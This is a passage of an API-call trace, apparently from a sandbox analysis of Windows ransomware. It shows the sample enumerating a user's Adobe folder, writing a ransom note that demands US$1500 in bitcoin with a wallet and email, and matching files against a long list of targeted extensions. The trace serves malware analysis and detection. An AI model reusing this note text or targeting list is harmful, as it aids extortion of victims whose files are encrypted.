cAlternateFileName="")) returned 0x5026d8 [0087.313] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.313] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9df17a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9df17a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9df17a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.313] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.313] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.313] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9df17a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9df17a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9df17a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0087.314] FindClose (in: hFindFile=0x5026d8 | out: hFindFile=0x5026d8) returned 1 [0087.314] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec7c9cd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec7c9cd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f0046, dwReserved1=0x6d0072, cFileName="JavaScripts", cAlternateFileName="JAVASC~1")) returned 1 [0087.314] lstrcmpA (lpString1=".", lpString2="JavaScripts") returned -1 [0087.314] lstrcmpA (lpString1="..", lpString2="JavaScripts") returned -1 [0087.314] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\", lpString2="JavaScripts" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts" [0087.314] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts") returned 76 [0087.314] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec7c9cd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec7c9cd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0087.314] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.314] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec7c9cd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec7c9cd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.315] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.315] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.315] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec7c9cd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xedc00b50, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="glob.js", cAlternateFileName="")) returned 1 [0087.315] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0087.315] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="glob.js") returned -1 [0087.315] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="glob.js") returned 1 [0087.315] lstrcmpiA (lpString1="", lpString2="glob.js") returned -1 [0087.315] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\" [0087.315] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\") returned="" [0087.315] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\HOW TO DECRYPT FILES.txt" [0087.315] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts\\how to decrypt files.txt")) returned 0xffffffff [0087.315] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9c [0087.319] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0087.319] WriteFile (in: hFile=0x9c, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0087.321] SetFileTime (hFile=0x9c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0087.321] CloseHandle (hObject=0x9c) returned 1 [0087.322] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\", lpString2="glob.js" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js" [0087.322] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.ems") returned 0 [0087.322] lstrlenA (lpString="*.ems") returned 5 [0087.322] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.db") returned 0 [0087.322] lstrlenA (lpString="*.db") returned 4 [0087.322] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.dbf") returned 0 [0087.322] lstrlenA (lpString="*.dbf") returned 5 [0087.322] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.myox") returned 0 [0087.322] lstrlenA (lpString="*.myox") returned 6 [0087.322] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.myo") returned 0 [0087.322] lstrlenA (lpString="*.myo") returned 5 [0087.322] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.qbw") returned 0 [0087.322] lstrlenA (lpString="*.qbw") returned 5 [0087.322] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.qbb") returned 0 [0087.322] lstrlenA (lpString="*.qbb") returned 5 [0087.322] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.qbm") returned 0 [0087.322] lstrlenA (lpString="*.qbm") returned 5 [0087.322] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.qbo") returned 0 [0087.323] lstrlenA (lpString="*.qbo") returned 5 [0087.323] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.qbx") returned 0 [0087.323] lstrlenA (lpString="*.qbx") returned 5 [0087.323] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.qba") returned 0 [0087.323] lstrlenA (lpString="*.qba") returned 5 [0087.323] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.qby") returned 0 [0087.323] lstrlenA (lpString="*.qby") returned 5 [0087.323] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.qbj") returned 0 [0087.323] lstrlenA (lpString="*.qbj") returned 5 [0087.323] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.ofx") returned 0 [0087.323] lstrlenA (lpString="*.ofx") returned 5 [0087.323] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.qif") returned 0 [0087.323] lstrlenA (lpString="*.qif") returned 5 [0087.323] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.mye") returned 0 [0087.323] lstrlenA (lpString="*.mye") returned 5 [0087.323] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.mbox") returned 0 [0087.323] lstrlenA (lpString="*.mbox") returned 6 [0087.324] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.eml") returned 0 [0087.324] lstrlenA (lpString="*.eml") returned 5 [0087.324] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.pst") returned 0 [0087.324] lstrlenA (lpString="*.pst") returned 5 [0087.324] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.ost") returned 0 [0087.324] lstrlenA (lpString="*.ost") returned 5 [0087.324] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.idx") returned 0 [0087.324] lstrlenA (lpString="*.idx") returned 5 [0087.324] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.dbx") returned 0 [0087.324] lstrlenA (lpString="*.dbx") returned 5 [0087.324] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.sql") returned 0 [0087.324] lstrlenA (lpString="*.sql") returned 5 [0087.324] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.mdb") returned 0 [0087.324] lstrlenA (lpString="*.mdb") returned 5 [0087.324] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.fdb") returned 0 [0087.324] lstrlenA (lpString="*.fdb") returned 5 [0087.324] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.wab") returned 0 [0087.324] lstrlenA (lpString="*.wab") returned 5 [0087.325] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.dat") returned 0 [0087.325] lstrlenA (lpString="*.dat") returned 5 [0087.325] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.txt") returned 0 [0087.325] lstrlenA (lpString="*.txt") returned 5 [0087.325] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.jpeg") returned 0 [0087.325] lstrlenA (lpString="*.jpeg") returned 6 [0087.325] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.jpg") returned 0 [0087.325] lstrlenA (lpString="*.jpg") returned 5 [0087.325] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.png") returned 0 [0087.325] lstrlenA (lpString="*.png") returned 5 [0087.325] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.php") returned 0 [0087.325] lstrlenA (lpString="*.php") returned 5 [0087.325] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.cs") returned 0 [0087.325] lstrlenA (lpString="*.cs") returned 4 [0087.325] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.cpp") returned 0 [0087.325] lstrlenA (lpString="*.cpp") returned 5 [0087.325] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.rar") returned 0 [0087.325] lstrlenA (lpString="*.rar") returned 5 [0087.325] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.zip") returned 0 [0087.325] lstrlenA (lpString="*.zip") returned 5 [0087.326] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.html") returned 0 [0087.327] lstrlenA (lpString="*.html") returned 6 [0087.327] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.htm") returned 0 [0087.327] lstrlenA (lpString="*.htm") returned 5 [0087.327] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.xlsx") returned 0 [0087.327] lstrlenA (lpString="*.xlsx") returned 6 [0087.327] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.xls") returned 0 [0087.327] lstrlenA (lpString="*.xls") returned 5 [0087.327] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.mp4") returned 0 [0087.327] lstrlenA (lpString="*.mp4") returned 5 [0087.327] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.ppt") returned 0 [0087.327] lstrlenA (lpString="*.ppt") returned 5 [0087.327] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.pptx") returned 0 [0087.327] lstrlenA (lpString="*.pptx") returned 6 [0087.328] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.doc") returned 0 [0087.328] lstrlenA (lpString="*.doc") returned 5 [0087.328] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.dot") returned 0 [0087.328] lstrlenA (lpString="*.dot") returned 5 [0087.328] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.docx") returned 0 [0087.328] lstrlenA (lpString="*.docx") returned 6 [0087.328] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.7z") returned 0 [0087.328] lstrlenA (lpString="*.7z") returned 4 [0087.328] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.tar") returned 0 [0087.328] lstrlenA (lpString="*.tar") returned 5 [0087.328] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.bz2") returned 0 [0087.328] lstrlenA (lpString="*.bz2") returned 5 [0087.328] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.gz") returned 0 [0087.328] lstrlenA (lpString="*.gz") returned 4 [0087.328] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.mkv") returned 0 [0087.328] lstrlenA (lpString="*.mkv") returned 5 [0087.328] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.eml") returned 0 [0087.328] lstrlenA (lpString="*.eml") returned 5 [0087.329] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.msg") returned 0 [0087.329] lstrlenA (lpString="*.msg") returned 5 [0087.329] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.edb") returned 0 [0087.329] lstrlenA (lpString="*.edb") returned 5 [0087.329] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.accdb") returned 0 [0087.329] lstrlenA (lpString="*.accdb") returned 7 [0087.329] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.odb") returned 0 [0087.329] lstrlenA (lpString="*.odb") returned 5 [0087.329] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.java") returned 0 [0087.329] lstrlenA (lpString="*.java") returned 6 [0087.329] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", pszSpec="*.asm") returned 0 [0087.329] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec7c9cd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xedc00b50, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0xa, dwReserved0=0x0, dwReserved1=0x0, cFileName="glob.settings.js", cAlternateFileName="GLOBSE~1.JS")) returned 1 [0087.329] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0087.329] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="glob.settings.js") returned -1 [0087.330] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="glob.settings.js") returned 1 [0087.330] lstrcmpiA (lpString1="", lpString2="glob.settings.js") returned -1 [0087.330] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js") returned="glob.js" [0087.330] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\" [0087.330] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\") returned="" [0087.330] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\HOW TO DECRYPT FILES.txt" [0087.330] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts\\how to decrypt files.txt")) returned 0x2020 [0087.330] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\", lpString2="glob.settings.js" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js" [0087.330] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js", pszSpec="*.ems") returned 0 [0087.330] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec7c9cd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xedc00b50, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0xa, dwReserved0=0x0, dwReserved1=0x0, cFileName="glob.settings.js", 